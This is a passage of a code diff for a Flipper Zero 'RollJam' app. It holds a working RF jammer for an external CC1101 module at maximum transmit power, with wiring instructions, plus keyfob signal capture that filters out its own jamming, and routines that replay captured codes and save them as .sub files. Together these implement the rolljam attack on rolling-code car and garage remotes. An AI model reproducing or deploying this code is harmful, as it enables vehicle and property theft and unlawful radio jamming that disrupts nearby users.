cc_write(CC_FREQ0, r & 0xFF);
}
static bool cc_configure_jam(uint32_t freq) {
FURI_LOG_I(TAG, "EXT: Config OOK noise jam at %lu Hz", freq);
cc_idle();
cc_write(CC_IOCFG0, 0x02);
cc_write(CC_IOCFG2, 0x2F);
// Fixed packet length, 255 bytes per packet
cc_write(CC_PKTCTRL0, 0x00); // Fixed length, no CRC, no whitening
cc_write(CC_PKTCTRL1, 0x00); // No address check
cc_write(CC_PKTLEN, 0xFF); // 255 bytes per packet
// FIFO threshold: alert when TX FIFO has space for 33+ bytes
cc_write(CC_FIFOTHR, 0x07);
// No sync word - just raw data
cc_write(CC_SYNC1, 0x00);
cc_write(CC_SYNC0, 0x00);
// Frequency
cc_set_freq(freq);
cc_write(CC_FSCTRL1, 0x06);
cc_write(CC_FSCTRL0, 0x00);
// CRITICAL: LOW data rate to prevent FIFO underflow
// 1.2 kBaud: DRATE_E=5, DRATE_M=67
// At this rate, 64 bytes = 64*8/1200 = 426ms before FIFO empty
cc_write(CC_MDMCFG4, 0x85); // BW=325kHz (for TX spectral output), DRATE_E=5
cc_write(CC_MDMCFG3, 0x43); // DRATE_M=67 → ~1.2 kBaud
cc_write(CC_MDMCFG2, 0x30); // ASK/OOK, no sync word
cc_write(CC_MDMCFG1, 0x00); // No preamble
cc_write(CC_MDMCFG0, 0xF8);
cc_write(CC_DEVIATN, 0x47);
// Auto-return to TX after packet sent
cc_write(CC_MCSM1, 0x00); // TXOFF -> IDLE (we manually re-enter TX)
cc_write(CC_MCSM0, 0x18); // Auto-cal IDLE->TX
// MAX TX power
cc_write(CC_FREND0, 0x11); // PA index 1 for OOK high
// PATABLE: ALL entries at max power
// Index 0 = 0x00 for OOK "0" (off)
// Index 1 = 0xC0 for OOK "1" (+12 dBm)
uint8_t pa[8] = {0x00, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0};
cc_write_burst(CC_PATABLE, pa, 8);
// Calibration
cc_write(CC_FSCAL3, 0xEA);
cc_write(CC_FSCAL2, 0x2A);
cc_write(CC_FSCAL1, 0x00);
cc_write(CC_FSCAL0, 0x1F);
// Test regs
cc_write(CC_TEST2, 0x81);
cc_write(CC_TEST1, 0x35);
cc_write(CC_TEST0, 0x09);
// Calibrate
cc_idle();
cc_strobe(CC_SCAL);
furi_delay_ms(2);
cc_idle();
// Verify configuration
uint8_t st = cc_state();
uint8_t mdm4 = cc_read(CC_MDMCFG4);
uint8_t mdm3 = cc_read(CC_MDMCFG3);
uint8_t mdm2 = cc_read(CC_MDMCFG2);
uint8_t pkt0 = cc_read(CC_PKTCTRL0);
uint8_t plen = cc_read(CC_PKTLEN);
uint8_t pa0 = cc_read(CC_PATABLE);
FURI_LOG_I(TAG, "EXT: MDM4=0x%02X MDM3=0x%02X MDM2=0x%02X PKT0=0x%02X PLEN=%d PA=0x%02X state=0x%02X",
mdm4, mdm3, mdm2, pkt0, plen, pa0, st);
return (st == MARC_IDLE);
}
// ============================================================
// FSK jam configuration (FM238 / FM476)
// Same low-rate FIFO approach but 2-FSK modulation
// ============================================================
static bool cc_configure_jam_fsk(uint32_t freq, bool wide) {
FURI_LOG_I(TAG, "EXT: Config FSK noise jam at %lu Hz (wide=%d)", freq, wide);
cc_idle();
cc_write(CC_IOCFG0, 0x02);
cc_write(CC_IOCFG2, 0x2F);
cc_write(CC_PKTCTRL0, 0x00);
cc_write(CC_PKTCTRL1, 0x00);
cc_write(CC_PKTLEN, 0xFF);
cc_write(CC_FIFOTHR, 0x07);
cc_write(CC_SYNC1, 0x00);
cc_write(CC_SYNC0, 0x00);
cc_set_freq(freq);
cc_write(CC_FSCTRL1, 0x06);
cc_write(CC_FSCTRL0, 0x00);
// 1.2 kBaud 2-FSK, same low rate to avoid FIFO underflow
cc_write(CC_MDMCFG4, 0x85); // BW=325kHz, DRATE_E=5
cc_write(CC_MDMCFG3, 0x43); // DRATE_M=67 → ~1.2 kBaud
cc_write(CC_MDMCFG2, 0x00); // 2-FSK, no sync word
cc_write(CC_MDMCFG1, 0x00);
cc_write(CC_MDMCFG0, 0xF8);
// Deviation: FM238=~2.4kHz, FM476=~47.6kHz
cc_write(CC_DEVIATN, wide ? 0x47 : 0x15);
cc_write(CC_MCSM1, 0x00);
cc_write(CC_MCSM0, 0x18);
// FSK: constant PA, no OOK shaping
cc_write(CC_FREND0, 0x10);
uint8_t pa[8] = {0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0};
cc_write_burst(CC_PATABLE, pa, 8);
cc_write(CC_FSCAL3, 0xEA);
cc_write(CC_FSCAL2, 0x2A);
cc_write(CC_FSCAL1, 0x00);
cc_write(CC_FSCAL0, 0x1F);
cc_write(CC_TEST2, 0x81);
cc_write(CC_TEST1, 0x35);
cc_write(CC_TEST0, 0x09);
cc_idle();
cc_strobe(CC_SCAL);
furi_delay_ms(2);
cc_idle();
uint8_t st = cc_state();
uint8_t mdm2 = cc_read(CC_MDMCFG2);
uint8_t dev = cc_read(CC_DEVIATN);
FURI_LOG_I(TAG, "EXT FSK: MDM2=0x%02X DEV=0x%02X state=0x%02X", mdm2, dev, st);
return (st == MARC_IDLE);
}
// ============================================================
// Jam thread - FIFO-fed OOK at low data rate
// ============================================================
static void jam_start_tx(const uint8_t* pattern, uint8_t len) {
cc_strobe(CC_SFTX);
furi_delay_ms(1);
cc_write_burst(CC_TXFIFO, pattern, len);
cc_strobe(CC_STX);
furi_delay_ms(5);
}
static int32_t jam_thread_worker(void* context) {
RollJamApp* app = context;
bool is_fsk = (app->mod_index == ModIndex_FM238 || app->mod_index == ModIndex_FM476);
uint32_t jam_freq_pos = app->frequency + app->jam_offset_hz;
uint32_t jam_freq_neg = app->frequency - app->jam_offset_hz;
FURI_LOG_I(TAG, "========================================");
FURI_LOG_I(TAG, "JAM: Target=%lu Offset=%lu FSK=%d",
app->frequency, app->jam_offset_hz, is_fsk);
FURI_LOG_I(TAG, "========================================");
if(!cc_reset()) {
FURI_LOG_E(TAG, "JAM: Reset failed!");
return -1;
}
if(!cc_check()) {
FURI_LOG_E(TAG, "JAM: No chip!");
return -1;
}
bool jam_ok = false;
if(app->mod_index == ModIndex_FM238) {
jam_ok = cc_configure_jam_fsk(jam_freq_pos, false);
} else if(app->mod_index == ModIndex_FM476) {
jam_ok = cc_configure_jam_fsk(jam_freq_pos, true);
} else {
jam_ok = cc_configure_jam(jam_freq_pos);
}
if(!jam_ok) {
FURI_LOG_E(TAG, "JAM: Config failed!");
return -1;
}
static const uint8_t noise_pattern[62] = {
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55
};
if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, true);
jam_start_tx(noise_pattern, 62);
uint8_t st = cc_state();
if(st != MARC_TX) {
cc_idle();
jam_start_tx(noise_pattern, 62);
st = cc_state();
if(st != MARC_TX) {
if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, false);
FURI_LOG_E(TAG, "JAM: Cannot enter TX!");
return -1;
}
}
FURI_LOG_I(TAG, "JAM: *** ACTIVE ***");
uint32_t loops = 0;
uint32_t underflows = 0;
uint32_t refills = 0;
bool on_positive_offset = true;
while(app->jam_thread_running) {
loops++;
if(is_fsk && (loops % 4 == 0)) {
cc_idle();
cc_strobe(CC_SFTX);
furi_delay_us(100);
on_positive_offset = !on_positive_offset;
cc_set_freq(on_positive_offset ? jam_freq_pos : jam_freq_neg);
cc_write_burst(CC_TXFIFO, noise_pattern, 62);
cc_strobe(CC_STX);
furi_delay_ms(1);
continue;
}
st = cc_state();
if(st != MARC_TX) {
underflows++;
cc_idle();
cc_strobe(CC_SFTX);
furi_delay_us(100);
cc_write_burst(CC_TXFIFO, noise_pattern, 62);
cc_strobe(CC_STX);
furi_delay_ms(1);
continue;
}
uint8_t txb = cc_txbytes();
if(txb < 20) {
uint8_t space = 62 - txb;
if(space > 50) space = 50;
cc_write_burst(CC_TXFIFO, noise_pattern, space);
refills++;
}
if(loops % 500 == 0) {
FURI_LOG_I(TAG, "JAM: loops=%lu uf=%lu refills=%lu txb=%d",
loops, underflows, refills, cc_txbytes());
}
furi_delay_ms(50);
}
cc_idle();
if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, false);
cc_write(CC_IOCFG2, 0x2E);
FURI_LOG_I(TAG, "JAM: STOPPED (loops=%lu uf=%lu refills=%lu)", loops, underflows, refills);
return 0;
}
// ============================================================
// GPIO
// ============================================================
void rolljam_ext_gpio_init(void) {
FURI_LOG_I(TAG, "EXT GPIO init");
furi_hal_gpio_init(pin_cs, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_cs, true);
furi_hal_gpio_init(pin_sck, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_sck, false);
furi_hal_gpio_init(pin_mosi, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_mosi, false);
furi_hal_gpio_init(pin_miso, GpioModeInput, GpioPullUp, GpioSpeedVeryHigh);
furi_hal_gpio_init(pin_gdo0, GpioModeInput, GpioPullDown, GpioSpeedVeryHigh);
if(use_flux_capacitor) {
furi_hal_gpio_init_simple(pin_amp, GpioModeOutputPushPull);
furi_hal_gpio_write(pin_amp, false);
}
}
void rolljam_ext_gpio_deinit(void) {
if(use_flux_capacitor) {
furi_hal_gpio_write(pin_amp, false);
furi_hal_gpio_init_simple(pin_amp, GpioModeAnalog);
}
furi_hal_gpio_init(pin_cs, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_sck, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_mosi, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_miso, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_gdo0, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
FURI_LOG_I(TAG, "EXT GPIO deinit");
}
// ============================================================
// Public
// ============================================================
void rolljam_jammer_start(RollJamApp* app) {
if(app->jamming_active) return;
app->jam_frequency = app->frequency + app->jam_offset_hz;
rolljam_ext_power_on();
furi_delay_ms(100);
rolljam_ext_gpio_init();
furi_delay_ms(10);
app->jam_thread_running = true;
app->jam_thread = furi_thread_alloc_ex("RJ_Jam", 4096, jam_thread_worker, app);
furi_thread_start(app->jam_thread);
app->jamming_active = true;
FURI_LOG_I(TAG, ">>> JAMMER STARTED <<<");
}
void rolljam_jammer_stop(RollJamApp* app) {
if(!app->jamming_active) return;
app->jam_thread_running = false;
furi_thread_join(app->jam_thread);
furi_thread_free(app->jam_thread);
app->jam_thread = NULL;
rolljam_ext_gpio_deinit();
rolljam_ext_power_off();
app->jamming_active = false;
FURI_LOG_I(TAG, ">>> JAMMER STOPPED <<<");
}

View File

@@ -0,0 +1,23 @@
#pragma once
#include "../rolljam.h"
/*
* External CC1101 module connected via GPIO (bit-bang SPI).
* Used EXCLUSIVELY for JAMMING (TX).
*
* Wiring (as connected):
* CC1101 VCC -> Flipper Pin 9 (3V3)
* CC1101 GND -> Flipper Pin 11 (GND)
* CC1101 MOSI -> Flipper Pin 2 (PA7)
* CC1101 MISO -> Flipper Pin 3 (PA6)
* CC1101 SCK -> Flipper Pin 5 (PB3)
* CC1101 CS -> Flipper Pin 4 (PA4)
* CC1101 GDO0 -> Flipper Pin 6 (PB2)
*/
void rolljam_ext_gpio_init(void);
void rolljam_ext_set_flux_capacitor(bool enabled);
void rolljam_ext_gpio_deinit(void);
void rolljam_jammer_start(RollJamApp* app);
void rolljam_jammer_stop(RollJamApp* app);

View File

@@ -0,0 +1,636 @@
#include "rolljam_receiver.h"
#include <furi_hal_subghz.h>
#include <furi_hal_rtc.h>
#define CC_IOCFG0 0x02
#define CC_FIFOTHR 0x03
#define CC_MDMCFG4 0x10
#define CC_MDMCFG3 0x11
#define CC_MDMCFG2 0x12
#define CC_MDMCFG1 0x13
#define CC_MDMCFG0 0x14
#define CC_DEVIATN 0x15
#define CC_MCSM0 0x18
#define CC_FOCCFG 0x19
#define CC_AGCCTRL2 0x1B
#define CC_AGCCTRL1 0x1C
#define CC_AGCCTRL0 0x1D
#define CC_FREND0 0x22
#define CC_FSCAL3 0x23
#define CC_FSCAL2 0x24
#define CC_FSCAL1 0x25
#define CC_FSCAL0 0x26
// ============================================================
// Presets
// ============================================================
static const uint8_t preset_ook_rx[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_MDMCFG4, 0xD7, // RX BW ~100kHz — wider than jam offset rejection but better sensitivity
CC_MDMCFG3, 0x32,
CC_MDMCFG2, 0x30,
CC_MDMCFG1, 0x00,
CC_MDMCFG0, 0x00,
CC_DEVIATN, 0x47,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL2, 0x43, // MAX_DVGA_GAIN=01, MAX_LNA_GAIN=max, MAGN_TARGET=011 — more sensitive
CC_AGCCTRL1, 0x40, // CS_REL_THR relative threshold
CC_AGCCTRL0, 0x91,
CC_FREND0, 0x11,
CC_FSCAL3, 0xEA,
CC_FSCAL2, 0x2A,
CC_FSCAL1, 0x00,
CC_FSCAL0, 0x1F,
0x00, 0x00
};
static const uint8_t preset_fsk_rx[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_MDMCFG4, 0xE7,
CC_MDMCFG3, 0x32,
CC_MDMCFG2, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG0, 0x00,
CC_DEVIATN, 0x15,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL2, 0x07,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL0, 0x91,
CC_FREND0, 0x10,
CC_FSCAL3, 0xEA,
CC_FSCAL2, 0x2A,
CC_FSCAL1, 0x00,
CC_FSCAL0, 0x1F,
0x00, 0x00
};
static const uint8_t preset_ook_tx[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_MDMCFG4, 0x8C,
CC_MDMCFG3, 0x32,
CC_MDMCFG2, 0x30,
CC_MDMCFG1, 0x00,
CC_MDMCFG0, 0x00,
CC_DEVIATN, 0x47,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL2, 0x07,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL0, 0x91,
CC_FREND0, 0x11,
CC_FSCAL3, 0xEA,
CC_FSCAL2, 0x2A,
CC_FSCAL1, 0x00,
CC_FSCAL0, 0x1F,
0x00, 0x00
};
static const uint8_t preset_fsk_tx_238[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_MDMCFG4, 0x8C,
CC_MDMCFG3, 0x32,
CC_MDMCFG2, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG0, 0x00,
CC_DEVIATN, 0x15,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL2, 0x07,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL0, 0x91,
CC_FREND0, 0x10,
CC_FSCAL3, 0xEA,
CC_FSCAL2, 0x2A,
CC_FSCAL1, 0x00,
CC_FSCAL0, 0x1F,
0x00, 0x00
};
static const uint8_t preset_fsk_tx_476[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_MDMCFG4, 0x8C,
CC_MDMCFG3, 0x32,
CC_MDMCFG2, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG0, 0x00,
CC_DEVIATN, 0x47,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL2, 0x07,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL0, 0x91,
CC_FREND0, 0x10,
CC_FSCAL3, 0xEA,
CC_FSCAL2, 0x2A,
CC_FSCAL1, 0x00,
CC_FSCAL0, 0x1F,
0x00, 0x00
};
// ============================================================
// Capture state machine
// ============================================================
#define MIN_PULSE_US 50
#define MAX_PULSE_US 32767 // int16_t max — covers all keyfob pulse widths
#define SILENCE_GAP_US 50000 // 50ms gap = real end of frame for all keyfob types
#define MIN_FRAME_PULSES 20 // Some keyfobs have short frames
#define AUTO_ACCEPT_PULSES 300 // Need more pulses before auto-accept
// Tolerance for jammer pattern detection (microseconds)
#define JAM_PATTERN_TOLERANCE 120
static bool rolljam_is_jammer_pattern(RawSignal* s) {
if(s->size < 20) return false;
int16_t first = s->data[0];
int16_t abs_first = first > 0 ? first : -first;
int matches = 0;
for(size_t i = 0; i < s->size; i++) {
int16_t val = s->data[i];
int16_t abs_val = val > 0 ? val : -val;
int diff = abs_val - abs_first;
if(diff < 0) diff = -diff;
if(diff < JAM_PATTERN_TOLERANCE) {
matches++;
}
}
return (matches > (int)(s->size * 8 / 10));
}
typedef enum {
CapWaiting,
CapRecording,
CapDone,
} CapState;
static volatile CapState cap_state;
static volatile int cap_valid_count;
static volatile int cap_total_count;
static volatile bool cap_target_first;
static volatile uint32_t cap_callback_count;
static volatile float cap_rssi_baseline;
static void capture_rx_callback(bool level, uint32_t duration, void* context) {
RollJamApp* app = context;
if(!app->raw_capture_active) return;
if(cap_state == CapDone) return;
cap_callback_count++;
RawSignal* target;
if(cap_target_first) {
target = &app->signal_first;
if(target->valid) return;
} else {
target = &app->signal_second;
if(target->valid) return;
}
uint32_t dur = duration;
// Check silence gap BEFORE clamping so 50ms gaps are detected correctly
// Clamp only affects stored sample value, not gap detection
bool is_silence = (dur > SILENCE_GAP_US);
if(dur > 32767) dur = 32767;
switch(cap_state) {
case CapWaiting:
if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US) {
target->size = 0;
cap_valid_count = 0;
cap_total_count = 0;
cap_state = CapRecording;
int16_t s = level ? (int16_t)dur : -(int16_t)dur;
target->data[target->size++] = s;
cap_valid_count++;
cap_total_count++;
}
break;
case CapRecording:
if(target->size >= RAW_SIGNAL_MAX_SIZE) {
if(cap_valid_count >= MIN_FRAME_PULSES) {
cap_state = CapDone;
} else {
target->size = 0;
cap_valid_count = 0;
cap_total_count = 0;
cap_state = CapWaiting;
}
return;
}
if(is_silence) {
if(cap_valid_count >= MIN_FRAME_PULSES) {
if(target->size < RAW_SIGNAL_MAX_SIZE) {
int16_t s = level ? (int16_t)32767 : -32767;
target->data[target->size++] = s;
}
cap_state = CapDone;
} else {
target->size = 0;
cap_valid_count = 0;
cap_total_count = 0;
cap_state = CapWaiting;
}
return;
}
{
int16_t s = level ? (int16_t)dur : -(int16_t)dur;
target->data[target->size++] = s;
cap_total_count++;
if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US) {
cap_valid_count++;
if(cap_valid_count >= AUTO_ACCEPT_PULSES) {
cap_state = CapDone;
}
}
}
break;
case CapDone:
break;
}
}
// ============================================================
// Capture start/stop
// ============================================================
void rolljam_capture_start(RollJamApp* app) {
FURI_LOG_I(TAG, "Capture start: freq=%lu mod=%d", app->frequency, app->mod_index);
// Full radio reset sequence
furi_hal_subghz_reset();
furi_delay_ms(10);
furi_hal_subghz_idle();
furi_delay_ms(10);
const uint8_t* preset;
switch(app->mod_index) {
case ModIndex_FM238:
case ModIndex_FM476:
preset = preset_fsk_rx;
break;
default:
preset = preset_ook_rx;
break;
}
furi_hal_subghz_load_custom_preset(preset);
furi_delay_ms(5);
uint32_t real_freq = furi_hal_subghz_set_frequency(app->frequency);
FURI_LOG_I(TAG, "Capture: freq set to %lu", real_freq);
furi_delay_ms(5);
furi_hal_subghz_rx();
furi_delay_ms(50);
cap_rssi_baseline = furi_hal_subghz_get_rssi();
furi_hal_subghz_idle();
furi_delay_ms(5);
FURI_LOG_I(TAG, "Capture: RSSI baseline=%.1f dBm", (double)cap_rssi_baseline);
cap_state = CapWaiting;
cap_valid_count = 0;
cap_total_count = 0;
cap_callback_count = 0;
// Determine target
if(!app->signal_first.valid) {
cap_target_first = true;
app->signal_first.size = 0;
app->signal_first.valid = false;
FURI_LOG_I(TAG, "Capture target: FIRST signal");
} else {
cap_target_first = false;
app->signal_second.size = 0;
app->signal_second.valid = false;
FURI_LOG_I(TAG, "Capture target: SECOND signal (first already valid, size=%d)",
app->signal_first.size);
}
app->raw_capture_active = true;
furi_hal_subghz_start_async_rx(capture_rx_callback, app);
FURI_LOG_I(TAG, "Capture: RX STARTED, active=%d, target_first=%d",
app->raw_capture_active, cap_target_first);
}
void rolljam_capture_stop(RollJamApp* app) {
if(!app->raw_capture_active) {
FURI_LOG_W(TAG, "Capture stop: was not active");
return;
}
app->raw_capture_active = false;
furi_hal_subghz_stop_async_rx();
furi_delay_ms(5);
furi_hal_subghz_idle();
furi_delay_ms(5);
FURI_LOG_I(TAG, "Capture stopped. callbacks=%lu capState=%d validCnt=%d totalCnt=%d",
cap_callback_count, cap_state, cap_valid_count, cap_total_count);
FURI_LOG_I(TAG, " Sig1: size=%d valid=%d", app->signal_first.size, app->signal_first.valid);
FURI_LOG_I(TAG, " Sig2: size=%d valid=%d", app->signal_second.size, app->signal_second.valid);
}
// ============================================================
// Validation
// ============================================================
bool rolljam_signal_is_valid(RawSignal* signal) {
if(cap_state != CapDone) {
// Log every few checks so we can see if callbacks are happening
static int check_count = 0;
check_count++;
if(check_count % 10 == 0) {
FURI_LOG_D(TAG, "Validate: not done yet, state=%d callbacks=%lu valid=%d total=%d sig_size=%d",
cap_state, cap_callback_count, cap_valid_count, cap_total_count, signal->size);
}
return false;
}
if(signal->size < MIN_FRAME_PULSES) return false;
// Reject jammer noise: if signal is uniform amplitude, it's our own jam
if(rolljam_is_jammer_pattern(signal)) {
FURI_LOG_W(TAG, "Jammer noise ignored (size=%d)", signal->size);
signal->size = 0;
cap_state = CapWaiting;
cap_valid_count = 0;
cap_total_count = 0;
return false;
}
int good = 0;
int total = (int)signal->size;
for(int i = 0; i < total; i++) {
int16_t val = signal->data[i];
int16_t abs_val = val > 0 ? val : -val;
if((int32_t)abs_val >= MIN_PULSE_US) { // upper bound = clamp at 32767
good++;
}
}
int ratio_pct = (total > 0) ? ((good * 100) / total) : 0;
if(ratio_pct > 50 && good >= MIN_FRAME_PULSES) {
float rssi = furi_hal_subghz_get_rssi();
float rssi_delta = rssi - cap_rssi_baseline;
FURI_LOG_I(TAG, "Signal VALID: %d/%d (%d%%) samples=%d rssi=%.1f delta=%.1f",
good, total, ratio_pct, total, (double)rssi, (double)rssi_delta);
if(rssi_delta < 5.0f && rssi < -85.0f) {
FURI_LOG_W(TAG, "Signal rejected: RSSI too low (%.1f dBm, delta=%.1f)",
(double)rssi, (double)rssi_delta);
signal->size = 0;
cap_state = CapWaiting;
cap_valid_count = 0;
cap_total_count = 0;
return false;
}
return true;
}
FURI_LOG_D(TAG, "Signal rejected: %d/%d (%d%%), reset", good, total, ratio_pct);
signal->size = 0;
cap_state = CapWaiting;
cap_valid_count = 0;
cap_total_count = 0;
return false;
}
// ============================================================
// Signal cleanup
// ============================================================
void rolljam_signal_cleanup(RawSignal* signal) {
if(signal->size < MIN_FRAME_PULSES) return;
int16_t* cleaned = malloc(RAW_SIGNAL_MAX_SIZE * sizeof(int16_t));
if(!cleaned) return;
size_t out = 0;
size_t start = 0;
while(start < signal->size) {
int16_t val = signal->data[start];
int16_t abs_val = val > 0 ? val : -val;
if(abs_val >= MIN_PULSE_US) break;
start++;
}
for(size_t i = start; i < signal->size; i++) {
int16_t val = signal->data[i];
int16_t abs_val = val > 0 ? val : -val;
bool is_positive = val > 0;
if(abs_val < MIN_PULSE_US) {
if(out > 0) {
int16_t prev = cleaned[out - 1];
bool prev_positive = prev > 0;
int16_t prev_abs = prev > 0 ? prev : -prev;
if(prev_positive == is_positive) {
int32_t merged = (int32_t)prev_abs + abs_val;
if(merged > 32767) merged = 32767;
cleaned[out - 1] = prev_positive ? (int16_t)merged : -(int16_t)merged;
}
}
continue;
}
int32_t q = ((abs_val + 50) / 100) * 100;
if(q < MIN_PULSE_US) q = MIN_PULSE_US;
if(q > 32767) q = 32767;
int16_t quantized = (int16_t)q;
if(out < RAW_SIGNAL_MAX_SIZE) {
cleaned[out++] = is_positive ? quantized : -quantized;
}
}
while(out > 0) {
int16_t last = cleaned[out - 1];
int16_t abs_last = last > 0 ? last : -last;
if(abs_last >= MIN_PULSE_US && abs_last < 32767) break;
out--;
}
if(out >= MIN_FRAME_PULSES) {
size_t orig = signal->size;
memcpy(signal->data, cleaned, out * sizeof(int16_t));
signal->size = out;
FURI_LOG_I(TAG, "Cleanup: %d -> %d samples", (int)orig, (int)out);
}
free(cleaned);
}
// ============================================================
// TX
// ============================================================
typedef struct {
const int16_t* data;
size_t size;
volatile size_t index;
} TxCtx;
static TxCtx g_tx;
static LevelDuration tx_feed(void* context) {
UNUSED(context);
if(g_tx.index >= g_tx.size) return level_duration_reset();
int16_t sample = g_tx.data[g_tx.index++];
bool level = (sample > 0);
uint32_t dur = (uint32_t)(sample > 0 ? sample : -sample);
return level_duration_make(level, dur);
}
void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal) {
if(!signal->valid || signal->size == 0) {
FURI_LOG_E(TAG, "TX: no valid signal");
return;
}
FURI_LOG_I(TAG, "TX: %d samples at %lu Hz (3x)", signal->size, app->frequency);
furi_hal_subghz_reset();
furi_hal_subghz_idle();
furi_delay_ms(10);
const uint8_t* tx_preset;
switch(app->mod_index) {
case ModIndex_FM238:
tx_preset = preset_fsk_tx_238;
break;
case ModIndex_FM476:
tx_preset = preset_fsk_tx_476;
break;
default:
tx_preset = preset_ook_tx;
break;
}
furi_hal_subghz_load_custom_preset(tx_preset);
uint32_t real_freq = furi_hal_subghz_set_frequency(app->frequency);
FURI_LOG_I(TAG, "TX: freq=%lu", real_freq);
// Transmit 3 times — improves reliability especially at range
for(int tx_repeat = 0; tx_repeat < 3; tx_repeat++) {
g_tx.data = signal->data;
g_tx.size = signal->size;
g_tx.index = 0;
if(!furi_hal_subghz_start_async_tx(tx_feed, NULL)) {
FURI_LOG_E(TAG, "TX: start failed on repeat %d!", tx_repeat);
furi_hal_subghz_idle();
return;
}
uint32_t timeout = 0;
while(!furi_hal_subghz_is_async_tx_complete()) {
furi_delay_ms(5);
if(++timeout > 2000) {
FURI_LOG_E(TAG, "TX: timeout on repeat %d!", tx_repeat);
break;
}
}
furi_hal_subghz_stop_async_tx();
FURI_LOG_I(TAG, "TX: repeat %d done (%d/%d)", tx_repeat, g_tx.index, signal->size);
// Small gap between repeats
if(tx_repeat < 2) furi_delay_ms(50);
}
furi_hal_subghz_idle();
FURI_LOG_I(TAG, "TX: all repeats done");
}
// ============================================================
// Save
// ============================================================
void rolljam_save_signal(RollJamApp* app, RawSignal* signal) {
if(!signal->valid || signal->size == 0) {
FURI_LOG_E(TAG, "Save: no signal");
return;
}
DateTime dt;
furi_hal_rtc_get_datetime(&dt);
FuriString* path = furi_string_alloc_printf(
"/ext/subghz/RJ_%04d%02d%02d_%02d%02d%02d.sub",
dt.year, dt.month, dt.day, dt.hour, dt.minute, dt.second);
FURI_LOG_I(TAG, "Saving: %s", furi_string_get_cstr(path));
Storage* storage = furi_record_open(RECORD_STORAGE);
storage_simply_mkdir(storage, "/ext/subghz");
File* file = storage_file_alloc(storage);
if(storage_file_open(file, furi_string_get_cstr(path), FSAM_WRITE, FSOM_CREATE_ALWAYS)) {
FuriString* line = furi_string_alloc();
furi_string_set(line, "Filetype: Flipper SubGhz RAW File\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
furi_string_printf(line, "Version: 1\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
furi_string_printf(line, "Frequency: %lu\n", app->frequency);
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
const char* pname;
switch(app->mod_index) {
case ModIndex_AM270: pname = "FuriHalSubGhzPresetOok270Async"; break;
case ModIndex_FM238: pname = "FuriHalSubGhzPreset2FSKDev238Async"; break;
case ModIndex_FM476: pname = "FuriHalSubGhzPreset2FSKDev476Async"; break;
default: pname = "FuriHalSubGhzPresetOok650Async"; break;
}
furi_string_printf(line, "Preset: %s\n", pname);
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
furi_string_printf(line, "Protocol: RAW\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
size_t i = 0;
while(i < signal->size) {
furi_string_set(line, "RAW_Data:");
size_t end = i + 512;
if(end > signal->size) end = signal->size;
for(; i < end; i++) {
furi_string_cat_printf(line, " %d", signal->data[i]);
}
furi_string_cat(line, "\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
}
furi_string_free(line);
FURI_LOG_I(TAG, "Saved: %d samples", signal->size);
} else {
FURI_LOG_E(TAG, "Save failed!");
}
storage_file_close(file);
storage_file_free(file);
furi_record_close(RECORD_STORAGE);
furi_string_free(path);
}

View File

@@ -0,0 +1,34 @@
#pragma once
#include "../rolljam.h"
/*
* Internal CC1101 raw signal capture and transmission.
*
* Capture: uses narrow RX bandwidth so the offset jamming
* from the external CC1101 is filtered out.
*
* The captured raw data is stored as signed int16 values:
* positive = high-level duration (microseconds)
* negative = low-level duration (microseconds)
*
* This matches the Flipper .sub RAW format.
*/
// Start raw capture on internal CC1101
void rolljam_capture_start(RollJamApp* app);
// Stop capture
